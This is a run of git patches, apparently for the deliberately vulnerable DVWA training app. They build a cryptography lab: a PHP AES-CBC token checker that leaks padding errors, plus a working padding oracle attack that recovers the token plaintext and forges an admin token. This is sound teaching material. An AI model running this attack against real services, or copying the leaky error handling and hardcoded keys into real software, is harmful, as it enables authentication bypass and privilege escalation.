encoder.encode(plaintext) + return aes.encrypt(pad_text.encode()) + +def decrypt(ciphertext, key, iv): + global encoder + key_length = len(key) + if (key_length >= 32): + k = key[:32] + elif (key_length >= 24): + k = key[:24] + else: + k = key[:16] + + aes = AES.new(k, AES.MODE_CBC, iv[:16]) + pad_text = aes.decrypt(ciphertext) + return encoder.decode(pad_text.decode()) + +def main(): + plaintext = "Hello World" + + # 32 byte key is aes-256 + key = b'your key 32bytesyour key 32bytes' + + # 16 byte key is aes-128 + key = b'your key 16bytes' + iv = b'1234567812345678' # 16 bytes initialization vector + print("Key: '%s'" % key) + print("IV: '%s'" % iv) + + encrypted = b64encode(aes.encrypt(plaintext, key, iv)) + print("Encrypted: '%s'" % encrypted) + + encrypted = "2/QiRFDoA2O2Sk/U0PHZTg==" + decrypted = aes.decrypt(b64decode(encrypted), key, iv) + print("Decrypted: '%s'" % decrypted) + + print ("done") + +if __name__ == '__main__': + main() From ad7e6f22f2c7120d5ecf3f17f07c272dac8aa641 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Wed, 28 Aug 2024 10:47:49 +0100 Subject: [PATCH 10/32] padding oracle attack working --- .../cryptography/source/oracle.php | 159 ++++++++++++++++-- 1 file changed, 143 insertions(+), 16 deletions(-) diff --git a/vulnerabilities/cryptography/source/oracle.php b/vulnerabilities/cryptography/source/oracle.php index f965a73d..42238dad 100644 --- a/vulnerabilities/cryptography/source/oracle.php +++ b/vulnerabilities/cryptography/source/oracle.php @@ -1,8 +1,63 @@ Date: Wed, 28 Aug 2024 11:52:48 +0100 Subject: [PATCH 11/32] added explanation for edge case --- .../cryptography/source/oracle.php | 100 +++++++++++++++--- 1 file changed, 87 insertions(+), 13 deletions(-) diff --git a/vulnerabilities/cryptography/source/oracle.php b/vulnerabilities/cryptography/source/oracle.php index 42238dad..7bdb6632 100644 --- a/vulnerabilities/cryptography/source/oracle.php +++ b/vulnerabilities/cryptography/source/oracle.php @@ -69,13 +69,30 @@ function decrypt ($ciphertext, $key, $iv) { # Using the NO_PADDING so that the padding is returned, not stripped, so that it can # be compared later - $e = openssl_decrypt($ciphertext, 'aes-128-cbc', $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING, $iv); + $e = openssl_decrypt($ciphertext, 'aes-128-cbc', $key, OPENSSL_RAW_DATA, $iv); if ($e === false) { throw new Exception ("Decryption failed"); } return $e; } +# Using this function in the attack as it does not return +# any encrypted data, just true if it works, exception +# if it can't decrypt. This stops anything accidentally +# leaking to the hacking code below. + +function can_decrypt ($ciphertext, $key, $iv) { + try { + $d = decrypt ($ciphertext, $key, $iv); + if (preg_match ("/^u:(\d+) l:([01])$/", $d, $matches)) { + return "User ID: " . $matches[1] . " Level: " . $matches[2] . "\n"; + } + return false; + } catch(Exception $exp) { + throw ($exp); + } +} + /* This is a test decrypt of a message encrypted on the command line using openssl. @@ -115,6 +132,7 @@ function decrypt ($ciphertext, $key, $iv) { $init_iv = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8]; $clear = "hello"; $clear = "hello world"; +$clear = "u:123 l:0"; print "Clear text: " . $clear . "\n"; print "Encryption key: " . $key . "\n"; print "Encryption IV: " . byte_array_to_string ($init_iv) . "\n"; @@ -138,22 +156,58 @@ function decrypt ($ciphertext, $key, $iv) { } try { # print "IV: " . bin2hex($iv) . "\n"; - $d = decrypt ($e, $key, $iv); + $d = can_decrypt ($e, $key, $iv); # Only get here if the decrypt works correctly - # Check for edge case that the IV byte we are checking - # just happens to match data and is not part of the padding. - - if (ord($d[$offset]) == $padding && ord($d[15]) == $padding) { - print "There was a match\n"; - # var_dump ($d); - $zeroing[$offset] = $i ^ $padding; - print "IV: " . byte_array_to_string ($iv) . "\n"; - #print "Zero: " . byte_array_to_string ($zeroing) . "\n"; - break (1); + + /* + Check for edge case on offset 15 (right most byte). + The decrypted data could look like this: + + 0x44 ... 0x02 0x02 + ^^^^ Real last byte of value 2 byte padding + + In this situation, if we happen to land on a value + that sets the last byte to 0x02 then that will + look like valid padding as it will make the data end + in 0x02 0x02 as it already does: + + 0x44 ... 0x02 0x02 + ^^^^ Fluke, we want 0x01 for 1 byte padding + + This is what we want: + + 0x44 ... 0x02 0x01 + ^^^^ Valid 1 byte padding + + To do this, change the IV value for offset 14 which will + change the second to last byte and make the call again. + If we were in the edge case we would now have: + + 0x44 ... 0xf3 0x02 + ^^^^ No longer valid padding + + This is no longer valid padding so it will fail and we can + continue looking till we find the value that gives us + valid 1 byte padding. + + */ + + if ($offset == 15) { + print "Got a valid decrypt for offset 15, checking edge case\n"; + $temp_iv = $iv; + $temp_iv[14] = 0xff; + $temp_d = decrypt ($e, $key, $temp_iv); + print "Not edge case, can continue\n"; } + + print "There was a match\n"; + $zeroing[$offset] = $i ^ $padding; + # print "IV: " . byte_array_to_string ($iv) . "\n"; + # print "Zero: " . byte_array_to_string ($zeroing) . "\n"; + break (1); } catch(Exception $exp) { - #print "Fail\n"; + # print "Fail\n"; # var_dump ($e); } } @@ -168,3 +222,23 @@ function decrypt ($ciphertext, $key, $iv) { $x = xor_byte_array ($init_iv, $zeroing); print "\n"; print "Decrypted string: " . byte_array_to_string ($x) . "\n"; + +/* +Trying to modify decrypted data by playing with the zeroing array. +*/ + +print "\n"; +print "Trying to modify string\n"; + +$hacked_token = $zeroing; +$hacked_token[8] = $hacked_token[8] ^ 0x01; + +print byte_array_to_string ($hacked_token) . "\n"; + +$result = can_decrypt (byte_array_to_string ($hacked_token), $key, $iv); + +if ($result === false) { + print "Hack failed\n"; +} else { + print $result . "\n"; +} From 086fe4d2327f59fe6bd47b2f9862f6ae27ef8d5a Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Wed, 28 Aug 2024 12:43:28 +0100 Subject: [PATCH 12/32] still trying to modify --- vulnerabilities/cryptography/source/oracle.php | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/vulnerabilities/cryptography/source/oracle.php b/vulnerabilities/cryptography/source/oracle.php index 7bdb6632..252598cf 100644 --- a/vulnerabilities/cryptography/source/oracle.php +++ b/vulnerabilities/cryptography/source/oracle.php @@ -132,7 +132,7 @@ function can_decrypt ($ciphertext, $key, $iv) { $init_iv = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8]; $clear = "hello"; $clear = "hello world"; -$clear = "u:123 l:0"; +$clear = "u:123 l:1"; print "Clear text: " . $clear . "\n"; print "Encryption key: " . $key . "\n"; print "Encryption IV: " . byte_array_to_string ($init_iv) . "\n"; @@ -197,7 +197,7 @@ function can_decrypt ($ciphertext, $key, $iv) { print "Got a valid decrypt for offset 15, checking edge case\n"; $temp_iv = $iv; $temp_iv[14] = 0xff; - $temp_d = decrypt ($e, $key, $temp_iv); + $temp_d = can_decrypt ($e, $key, $temp_iv); print "Not edge case, can continue\n"; } @@ -231,11 +231,17 @@ function can_decrypt ($ciphertext, $key, $iv) { print "Trying to modify string\n"; $hacked_token = $zeroing; -$hacked_token[8] = $hacked_token[8] ^ 0x01; -print byte_array_to_string ($hacked_token) . "\n"; +$padding = 0x02; +$offset = 16 - $padding; + for ($k = $offset + 1; $k < 16; $k++) { + $iv[$k] = $zeroing[$k] ^ $padding; + } +#$iv[0] = 0xaa; + +print "Derived IV is: " . byte_array_to_string ($iv) . "\n"; -$result = can_decrypt (byte_array_to_string ($hacked_token), $key, $iv); +$result = can_decrypt ($e, $key, $iv); if ($result === false) { print "Hack failed\n"; From 239ae17d415df1a70fd222432771f149c3665ff9 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Wed, 28 Aug 2024 12:51:30 +0100 Subject: [PATCH 13/32] user starts at level 0 --- vulnerabilities/cryptography/source/oracle.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vulnerabilities/cryptography/source/oracle.php b/vulnerabilities/cryptography/source/oracle.php index 252598cf..31c17c22 100644 --- a/vulnerabilities/cryptography/source/oracle.php +++ b/vulnerabilities/cryptography/source/oracle.php @@ -132,7 +132,7 @@ function can_decrypt ($ciphertext, $key, $iv) { $init_iv = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8]; $clear = "hello"; $clear = "hello world"; -$clear = "u:123 l:1"; +$clear = "u:123 l:0"; print "Clear text: " . $clear . "\n"; print "Encryption key: " . $key . "\n"; print "Encryption IV: " . byte_array_to_string ($init_iv) . "\n"; From cccdb58cd8b8462936df867ba62681ad4ede31dd Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Wed, 28 Aug 2024 19:32:18 +0100 Subject: [PATCH 14/32] now with modifying the decrypted data --- .../cryptography/source/oracle.php | 111 ++++++++++++++---- 1 file changed, 90 insertions(+), 21 deletions(-) diff --git a/vulnerabilities/cryptography/source/oracle.php b/vulnerabilities/cryptography/source/oracle.php index 31c17c22..4a53e1e6 100644 --- a/vulnerabilities/cryptography/source/oracle.php +++ b/vulnerabilities/cryptography/source/oracle.php @@ -31,11 +31,6 @@ function xor_byte_array ($a1, $a2) { return $out; } -function hex_string_to_nice ($in) { - $out = preg_replace ("/(..)/", '0x${1} ', bin2hex($in)); - return $out; -} - function byte_array_to_string ($array) { $str = ""; foreach ($array as $c) { @@ -70,6 +65,7 @@ function decrypt ($ciphertext, $key, $iv) { # Using the NO_PADDING so that the padding is returned, not stripped, so that it can # be compared later $e = openssl_decrypt($ciphertext, 'aes-128-cbc', $key, OPENSSL_RAW_DATA, $iv); + #$e = openssl_decrypt($ciphertext, 'aes-128-cbc', $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING, $iv); if ($e === false) { throw new Exception ("Decryption failed"); } @@ -85,14 +81,61 @@ function can_decrypt ($ciphertext, $key, $iv) { try { $d = decrypt ($ciphertext, $key, $iv); if (preg_match ("/^u:(\d+) l:([01])$/", $d, $matches)) { - return "User ID: " . $matches[1] . " Level: " . $matches[2] . "\n"; + $id = $matches[1]; + $level = $matches[2]; + if ($level == 1) { + $privs = "admin"; + } else { + $privs = "user"; + } + $message = "Welcome user " . $id . " (" . $privs . ")"; + return $message; } - return false; + return "Login Unsuccessful"; } catch(Exception $exp) { throw ($exp); } } +/* +$key = "my key 16 bytes."; +$init_iv = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8]; +$clear = "u:123 l:0"; +$e = encrypt ($clear, $key, $init_iv); + +$iv = [0x64,0x28,0x22,0x26,0x26,0x36,0x7b,0x22,0x21,0x15,0x14,0x13,0x12,0x11,0x10,0x1f]; +$zeroing = [0x74,0x38,0x32,0x36,0x36,0x26,0x6b,0x32,0x31,0x05,0x04,0x03,0x02,0x01,0x00,0x0f]; + +$new_clear = "u:123 l:1"; + +for ($i = 0; $i < strlen($new_clear); $i++) { + $zeroing[$i] = $zeroing[$i] ^ ord($new_clear[$i]); +} +$padding = 16 - strlen($new_clear); +$offset = 16 - $padding; +for ($i = $offset; $i < 16; $i++) { + $zeroing[$i] = $zeroing[$i] ^ $padding; +} +#$zeroing[0] = $zeroing[0] ^ ord("u"); +#$zeroing[0] = $zeroing[0] ^ 117; +print "Derived IV is: " . byte_array_to_string ($iv) . "\n"; + +$result = decrypt ($e, $key, $zeroing); +var_dump ($result); +$result = can_decrypt ($e, $key, $zeroing); +var_dump ($result); +exit; + +if ($result === false) { + print "Hack failed\n"; +} else { + print $result . "\n"; +} + + +exit; + +*/ /* This is a test decrypt of a message encrypted on the command line using openssl. @@ -138,7 +181,6 @@ function can_decrypt ($ciphertext, $key, $iv) { print "Encryption IV: " . byte_array_to_string ($init_iv) . "\n"; $e = encrypt ($clear, $key, $init_iv); -print "Encrypted data: " . hex_string_to_nice ($e) . "\n"; print "\n"; print "Trying to decrypt\n"; @@ -161,6 +203,7 @@ function can_decrypt ($ciphertext, $key, $iv) { # Only get here if the decrypt works correctly /* + Check for edge case on offset 15 (right most byte). The decrypted data could look like this: @@ -215,13 +258,33 @@ function can_decrypt ($ciphertext, $key, $iv) { print "\n"; print "Derived IV is: " . byte_array_to_string ($iv) . "\n"; -$x = xor_byte_array ($iv, $zeroing); -print "Derived IV XOR and zeroing string: " . byte_array_to_string ($x) . "\n"; + +# If you want to check this, it should be all 16 to show it is all padding +#$x = xor_byte_array ($iv, $zeroing); +#print "Derived IV XOR and zeroing string: " . byte_array_to_string ($x) . "\n"; + print "Real IV is: " . byte_array_to_string ($init_iv) . "\n"; print "Zeroing array is: " . byte_array_to_string ($zeroing) . "\n"; + $x = xor_byte_array ($init_iv, $zeroing); +print "Decrypted string with padding: " . byte_array_to_string ($x) . "\n"; +$number_of_padding_bytes = $x[15]; +$without_padding = array_slice ($x, 0, 16 - $number_of_padding_bytes); +print "\n"; +print "Decrypted string dump: " . byte_array_to_string ($without_padding) . "\n"; + +$str = ''; +for ($i = 0; $i < count ($without_padding); $i++) { + $c = $without_padding[$i]; + if ($c > 0x19 && $c < 0x7f) { + $str .= chr($c); + } else { + $str .= "0x" . sprintf ("%02x", $c) . " "; + } +} + +print "Decrypted string as text: " . $str . "\n"; print "\n"; -print "Decrypted string: " . byte_array_to_string ($x) . "\n"; /* Trying to modify decrypted data by playing with the zeroing array. @@ -230,21 +293,27 @@ function can_decrypt ($ciphertext, $key, $iv) { print "\n"; print "Trying to modify string\n"; -$hacked_token = $zeroing; +$new_clear = "u:1 l:1"; +print "New clear text: " . $new_clear . "\n"; -$padding = 0x02; +for ($i = 0; $i < strlen($new_clear); $i++) { + $zeroing[$i] = $zeroing[$i] ^ ord($new_clear[$i]); +} +$padding = 16 - strlen($new_clear); $offset = 16 - $padding; - for ($k = $offset + 1; $k < 16; $k++) { - $iv[$k] = $zeroing[$k] ^ $padding; - } -#$iv[0] = 0xaa; +for ($i = $offset; $i < 16; $i++) { + $zeroing[$i] = $zeroing[$i] ^ $padding; +} -print "Derived IV is: " . byte_array_to_string ($iv) . "\n"; +print "New IV is: " . byte_array_to_string ($zeroing) . "\n"; -$result = can_decrypt ($e, $key, $iv); +print "Sending new data to server\n"; -if ($result === false) { +$result = can_decrypt ($e, $key, $zeroing); +print $result . "\n"; + +if (strpos ($result, "admin") === false) { print "Hack failed\n"; } else { - print $result . "\n"; + print "Hack success!\n"; } From 70f403792c0609b849c47cc05bff7b285404a2af Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Thu, 29 Aug 2024 09:06:13 +0100 Subject: [PATCH 15/32] making more realistic --- .../cryptography/source/oracle.php | 179 +++++++++++------- 1 file changed, 109 insertions(+), 70 deletions(-) diff --git a/vulnerabilities/cryptography/source/oracle.php b/vulnerabilities/cryptography/source/oracle.php index 4a53e1e6..88acd31e 100644 --- a/vulnerabilities/cryptography/source/oracle.php +++ b/vulnerabilities/cryptography/source/oracle.php @@ -47,95 +47,135 @@ function zero_array($length) { return $array; } -function encrypt ($plaintext, $key, $iv) { - $iv = implode(array_map("chr", $iv)); +define ("KEY", "my key 16 bytes."); +function encrypt ($plaintext, $iv) { # Default padding is PKCS#7 which is interchangable with PKCS#5 # https://en.wikipedia.org/wiki/Padding_%28cryptography%29#PKCS#5_and_PKCS#7 - $e = openssl_encrypt($plaintext, 'aes-128-cbc', $key, OPENSSL_RAW_DATA, $iv); + if (strlen ($iv) != 16) { + throw new Exception ("IV must be 16 bytes, " . strlen ($iv) . " passed"); + } + $e = openssl_encrypt($plaintext, 'aes-128-cbc', KEY, OPENSSL_RAW_DATA, $iv); if ($e === false) { throw new Exception ("Encryption failed"); } return $e; } -function decrypt ($ciphertext, $key, $iv) { - $iv = implode(array_map("chr", $iv)); - # Using the NO_PADDING so that the padding is returned, not stripped, so that it can - # be compared later - $e = openssl_decrypt($ciphertext, 'aes-128-cbc', $key, OPENSSL_RAW_DATA, $iv); - #$e = openssl_decrypt($ciphertext, 'aes-128-cbc', $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING, $iv); +function decrypt ($ciphertext, $iv) { + if (strlen ($iv) != 16) { + throw new Exception ("IV must be 16 bytes, " . strlen ($iv) . " passed"); + } + $e = openssl_decrypt($ciphertext, 'aes-128-cbc', KEY, OPENSSL_RAW_DATA, $iv); if ($e === false) { throw new Exception ("Decryption failed"); } return $e; } -# Using this function in the attack as it does not return -# any encrypted data, just true if it works, exception -# if it can't decrypt. This stops anything accidentally -# leaking to the hacking code below. +function create_token () { + $token = "userid:2"; -function can_decrypt ($ciphertext, $key, $iv) { - try { - $d = decrypt ($ciphertext, $key, $iv); - if (preg_match ("/^u:(\d+) l:([01])$/", $d, $matches)) { - $id = $matches[1]; - $level = $matches[2]; - if ($level == 1) { - $privs = "admin"; - } else { - $privs = "user"; - } - $message = "Welcome user " . $id . " (" . $privs . ")"; - return $message; - } - return "Login Unsuccessful"; - } catch(Exception $exp) { - throw ($exp); - } + # This gives a string of 16 random bytes + $iv_string = random_bytes(16); + + $e = encrypt ($token, $iv_string); + $data = array ( + "token" => base64_encode ($e), + "iv" => base64_encode ($iv_string) + ); + return json_encode($data); } -/* -$key = "my key 16 bytes."; -$init_iv = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8]; -$clear = "u:123 l:0"; -$e = encrypt ($clear, $key, $init_iv); +$t = json_decode (create_token(), true); +var_dump ($t); +$token = $t['token']; +$iv_string_b64 = $t['iv']; +$iv_string = base64_decode ($iv_string_b64); +$iv = unpack('C*', $iv_string); -$iv = [0x64,0x28,0x22,0x26,0x26,0x36,0x7b,0x22,0x21,0x15,0x14,0x13,0x12,0x11,0x10,0x1f]; -$zeroing = [0x74,0x38,0x32,0x36,0x36,0x26,0x6b,0x32,0x31,0x05,0x04,0x03,0x02,0x01,0x00,0x0f]; +$o = make_call ($token, $iv); -$new_clear = "u:123 l:1"; +var_dump ($o); +exit; -for ($i = 0; $i < strlen($new_clear); $i++) { - $zeroing[$i] = $zeroing[$i] ^ ord($new_clear[$i]); -} -$padding = 16 - strlen($new_clear); -$offset = 16 - $padding; -for ($i = $offset; $i < 16; $i++) { - $zeroing[$i] = $zeroing[$i] ^ $padding; -} -#$zeroing[0] = $zeroing[0] ^ ord("u"); -#$zeroing[0] = $zeroing[0] ^ 117; -print "Derived IV is: " . byte_array_to_string ($iv) . "\n"; +function make_call ($token, $iv) { + # This maps the IV byte array down to a string + $iv_string = implode(array_map("chr", $iv)); -$result = decrypt ($e, $key, $zeroing); -var_dump ($result); -$result = can_decrypt ($e, $key, $zeroing); -var_dump ($result); -exit; + # Now base64 encode it so it is safe to send + $iv_string_b64 = base64_encode ($iv_string); -if ($result === false) { - print "Hack failed\n"; -} else { - print $result . "\n"; + $data = array ( + "token" => $token, + "iv" => $iv_string_b64 + ); + $ret = check_token (json_encode ($data)); + return $ret; } +function check_token ($data) { + $users = array (); + $users[1] = array ("name" => "Geoffery", "level" => "admin"); + $users[2] = array ("name" => "Bungle", "level" => "user"); + $users[3] = array ("name" => "Zippy", "level" => "user"); + $users[4] = array ("name" => "George", "level" => "user"); -exit; + $data_array = false; + try { + $data_array = json_decode ($data, true); + } catch (TypeError $exp) { + $ret = array ( + "status" => 503, + "message" => "Data in wrong format", + "extra" => $exp->getMessage() + ); + } + var_dump ($data_array); + + if ($data_array === false) { + $ret = array ( + "status" => 502, + "message" => "Data in wrong format" + ); + } else { + $ciphertext = base64_decode ($data_array['token']); + $iv = base64_decode ($data_array['iv']); + + $ret = array ( + "status" => 500, + "message" => "Unknown error" + ); + try { + $d = decrypt ($ciphertext, $iv); + if (preg_match ("/^userid:(\d+)$/", $d, $matches)) { + $id = $matches[1]; + if (array_key_exists ($id, $users)) { + $user = $users[$id]; + $ret = array ( + "status" => 200, + "user" => $user["name"], + "level" => $user['level'] + ); + } else { + $ret = array ( + "status" => 500, + "message" => "User not found" + ); + } + } + } catch(Exception $exp) { + $ret = array ( + "status" => 501, + "message" => "Unable to decrypt token", + "extra" => $exp->getMessage() + ); + } + } + return json_encode ($ret); +} -*/ /* This is a test decrypt of a message encrypted on the command line using openssl. @@ -147,7 +187,7 @@ function can_decrypt ($ciphertext, $key, $iv) { $key = chr(0xCA) . chr(0x97) . chr(0x81) . chr(0x12) . chr(0xCA) . chr(0x1B) . chr(0xBD) . chr(0xCA) . chr(0xFA) . chr(0xC2) . chr(0x31) . chr(0xB3) . chr(0x9A) . chr(0x23) . chr(0xDC) . chr(0x4D); $iv = [ 0xA7, 0x86, 0xEF, 0xF8, 0x14, 0x7C, 0x4E, 0x72, 0xB9, 0x80, 0x77, 0x85, 0xAF, 0xEE, 0x48, 0xBB]; $data = chr(0x74) . chr(0x55) . chr(0x06) . chr(0xd1) . chr(0xa3) . chr(0x78) . chr(0x7f) . chr(0x98) . chr(0xc7) . chr(0xec) . chr(0x06) . chr(0x47) . chr(0x64) . chr(0xad) . chr(0x94) . chr(0xad); -$d = decrypt ($data, $key, $iv); +$d = decrypt ($data, $iv); var_dump ($d); exit; @@ -164,23 +204,22 @@ function can_decrypt ($ciphertext, $key, $iv) { $key = "my key 16 bytes."; $iv = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8]; $clear_text = "a message"; -$e = encrypt ($clear_text, $key, $iv); -$d = decrypt ($e, $key, $iv); +$e = encrypt ($clear_text, $iv); +$d = decrypt ($e, $iv); var_dump ($d); exit; */ -$key = "my key 16 bytes."; $init_iv = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8]; $clear = "hello"; $clear = "hello world"; $clear = "u:123 l:0"; print "Clear text: " . $clear . "\n"; -print "Encryption key: " . $key . "\n"; +print "Encryption key: " . KEY . "\n"; print "Encryption IV: " . byte_array_to_string ($init_iv) . "\n"; -$e = encrypt ($clear, $key, $init_iv); +$e = encrypt ($clear, $init_iv); print "\n"; print "Trying to decrypt\n"; @@ -198,7 +237,7 @@ function can_decrypt ($ciphertext, $key, $iv) { } try { # print "IV: " . bin2hex($iv) . "\n"; - $d = can_decrypt ($e, $key, $iv); + $d = check_token ($e, $iv); # Only get here if the decrypt works correctly @@ -240,7 +279,7 @@ function can_decrypt ($ciphertext, $key, $iv) { print "Got a valid decrypt for offset 15, checking edge case\n"; $temp_iv = $iv; $temp_iv[14] = 0xff; - $temp_d = can_decrypt ($e, $key, $temp_iv); + $temp_d = check_token ($e, $temp_iv); print "Not edge case, can continue\n"; } @@ -309,7 +348,7 @@ function can_decrypt ($ciphertext, $key, $iv) { print "Sending new data to server\n"; -$result = can_decrypt ($e, $key, $zeroing); +$result = check_token ($e, $zeroing); print $result . "\n"; if (strpos ($result, "admin") === false) { From 4f9a06ed2499ca60081a7dbe63331452b257d75e Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Fri, 30 Aug 2024 09:02:02 +0100 Subject: [PATCH 16/32] working with more return values --- .../cryptography/source/oracle.php | 172 ++++++++++-------- 1 file changed, 100 insertions(+), 72 deletions(-) diff --git a/vulnerabilities/cryptography/source/oracle.php b/vulnerabilities/cryptography/source/oracle.php index 88acd31e..b6ed055c 100644 --- a/vulnerabilities/cryptography/source/oracle.php +++ b/vulnerabilities/cryptography/source/oracle.php @@ -79,6 +79,11 @@ function create_token () { # This gives a string of 16 random bytes $iv_string = random_bytes(16); + $iv_string = "1234567812345678"; + + print "Token: " . $token . "\n"; + print "Encryption key: " . KEY . "\n"; + print "Encryption IV: " . bin2hex ($iv_string) . "\n"; $e = encrypt ($token, $iv_string); $data = array ( @@ -88,18 +93,6 @@ function create_token () { return json_encode($data); } -$t = json_decode (create_token(), true); -var_dump ($t); -$token = $t['token']; -$iv_string_b64 = $t['iv']; -$iv_string = base64_decode ($iv_string_b64); -$iv = unpack('C*', $iv_string); - -$o = make_call ($token, $iv); - -var_dump ($o); -exit; - function make_call ($token, $iv) { # This maps the IV byte array down to a string $iv_string = implode(array_map("chr", $iv)); @@ -128,11 +121,10 @@ function check_token ($data) { } catch (TypeError $exp) { $ret = array ( "status" => 503, - "message" => "Data in wrong format", + "message" => "Data not in JSON format", "extra" => $exp->getMessage() ); } - var_dump ($data_array); if ($data_array === false) { $ret = array ( @@ -143,6 +135,7 @@ function check_token ($data) { $ciphertext = base64_decode ($data_array['token']); $iv = base64_decode ($data_array['iv']); + # Asssume failure $ret = array ( "status" => 500, "message" => "Unknown error" @@ -165,7 +158,7 @@ function check_token ($data) { ); } } - } catch(Exception $exp) { + } catch (Exception $exp) { $ret = array ( "status" => 501, "message" => "Unable to decrypt token", @@ -211,18 +204,26 @@ function check_token ($data) { */ -$init_iv = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8]; -$clear = "hello"; -$clear = "hello world"; -$clear = "u:123 l:0"; -print "Clear text: " . $clear . "\n"; -print "Encryption key: " . KEY . "\n"; -print "Encryption IV: " . byte_array_to_string ($init_iv) . "\n"; - -$e = encrypt ($clear, $init_iv); +print "Creating the token\n"; print "\n"; +$token_data = json_decode (create_token(), true); +var_dump ($token_data); + +$token = $token_data['token']; +$iv_string_b64 = $token_data['iv']; +$iv_string = base64_decode ($iv_string_b64); +$temp_init_iv = unpack('C*', $iv_string); + +# The unpack creates an array starting a 1, the +# rest of this code assumes an array starting at 0 +# so calling array_values changes the array 0 based + +$init_iv = array_values ($temp_init_iv); + +print "\n"; print "Trying to decrypt\n"; +print "\n"; $iv = zero_array(16); $zeroing = zero_array(16); @@ -236,58 +237,75 @@ function check_token ($data) { $iv[$k] = $zeroing[$k] ^ $padding; } try { - # print "IV: " . bin2hex($iv) . "\n"; - $d = check_token ($e, $iv); + $d = make_call ($token, $iv); - # Only get here if the decrypt works correctly + $obj = json_decode ($d, true); - /* + # 501 is decryption failed + if ($obj['status'] != 501) { + print "Got hit for: " . $i . "\n"; - Check for edge case on offset 15 (right most byte). - The decrypted data could look like this: + # Only get here if the decrypt works correctly - 0x44 ... 0x02 0x02 - ^^^^ Real last byte of value 2 byte padding + /* - In this situation, if we happen to land on a value - that sets the last byte to 0x02 then that will - look like valid padding as it will make the data end - in 0x02 0x02 as it already does: + Check for edge case on offset 15 (right most byte). + The decrypted data could look like this: - 0x44 ... 0x02 0x02 - ^^^^ Fluke, we want 0x01 for 1 byte padding + 0x44 ... 0x02 0x02 + ^^^^ Real last byte of value 2 byte padding - This is what we want: + In this situation, if we happen to land on a value + that sets the last byte to 0x02 then that will + look like valid padding as it will make the data end + in 0x02 0x02 as it already does: - 0x44 ... 0x02 0x01 - ^^^^ Valid 1 byte padding + 0x44 ... 0x02 0x02 + ^^^^ Fluke, we want 0x01 for 1 byte padding - To do this, change the IV value for offset 14 which will - change the second to last byte and make the call again. - If we were in the edge case we would now have: + This is what we want: - 0x44 ... 0xf3 0x02 - ^^^^ No longer valid padding + 0x44 ... 0x02 0x01 + ^^^^ Valid 1 byte padding - This is no longer valid padding so it will fail and we can - continue looking till we find the value that gives us - valid 1 byte padding. + To do this, change the IV value for offset 14 which will + change the second to last byte and make the call again. + If we were in the edge case we would now have: - */ + 0x44 ... 0xf3 0x02 + ^^^^ No longer valid padding - if ($offset == 15) { - print "Got a valid decrypt for offset 15, checking edge case\n"; - $temp_iv = $iv; - $temp_iv[14] = 0xff; - $temp_d = check_token ($e, $temp_iv); - print "Not edge case, can continue\n"; - } + This is no longer valid padding so it will fail and we can + continue looking till we find the value that gives us + valid 1 byte padding. + + */ + + // Used by the edge case check - print "There was a match\n"; - $zeroing[$offset] = $i ^ $padding; - # print "IV: " . byte_array_to_string ($iv) . "\n"; - # print "Zero: " . byte_array_to_string ($zeroing) . "\n"; - break (1); + $ignore = false; + if ($offset == 15) { + print "Got a valid decrypt for offset 15, checking edge case\n"; + $temp_iv = $iv; + $temp_iv[14] = 0xff; + $temp_d = make_call ($token, $temp_iv); + $temp_d_obj = json_decode ($temp_d, true); + if ($temp_d_obj['status'] != 501) { + print "Not edge case, can continue\n"; + } else { + print "Edge case, do not continue\n"; + $ignore = true; + } + } + + if (!$ignore) { + print "There was a match\n"; + $zeroing[$offset] = $i ^ $padding; + # print "IV: " . byte_array_to_string ($iv) . "\n"; + # print "Zero: " . byte_array_to_string ($zeroing) . "\n"; + break; + } + } } catch(Exception $exp) { # print "Fail\n"; # var_dump ($e); @@ -296,11 +314,14 @@ function check_token ($data) { } print "\n"; +print "Finished looping\n"; +print "\n"; + print "Derived IV is: " . byte_array_to_string ($iv) . "\n"; # If you want to check this, it should be all 16 to show it is all padding -#$x = xor_byte_array ($iv, $zeroing); -#print "Derived IV XOR and zeroing string: " . byte_array_to_string ($x) . "\n"; +# $x = xor_byte_array ($iv, $zeroing); +# print "Derived IV XOR and zeroing string: " . byte_array_to_string ($x) . "\n"; print "Real IV is: " . byte_array_to_string ($init_iv) . "\n"; print "Zeroing array is: " . byte_array_to_string ($zeroing) . "\n"; @@ -323,7 +344,6 @@ function check_token ($data) { } print "Decrypted string as text: " . $str . "\n"; -print "\n"; /* Trying to modify decrypted data by playing with the zeroing array. @@ -331,8 +351,9 @@ function check_token ($data) { print "\n"; print "Trying to modify string\n"; +print "\n"; -$new_clear = "u:1 l:1"; +$new_clear = "userid:1"; print "New clear text: " . $new_clear . "\n"; for ($i = 0; $i < strlen($new_clear); $i++) { @@ -348,11 +369,18 @@ function check_token ($data) { print "Sending new data to server\n"; -$result = check_token ($e, $zeroing); -print $result . "\n"; +try { + $result = make_call ($token, $zeroing); + $ret_obj = json_decode ($result, true); -if (strpos ($result, "admin") === false) { - print "Hack failed\n"; -} else { - print "Hack success!\n"; + var_dump ($ret_obj); + + if ($ret_obj['status'] == 200 && $ret_obj['level'] == "admin") { + print "Hack success!\n"; + } else { + print "Hack failed\n"; + } +} catch (Exception $exp) { + print "Hack failed, system could not decrypt message\n"; + var_dump ($exp); } From c07c4b2133e9fe6dc732d521d9fc9863fc69f098 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Wed, 4 Sep 2024 22:37:14 +0100 Subject: [PATCH 17/32] don't title if title is empty --- dvwa/includes/dvwaPage.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 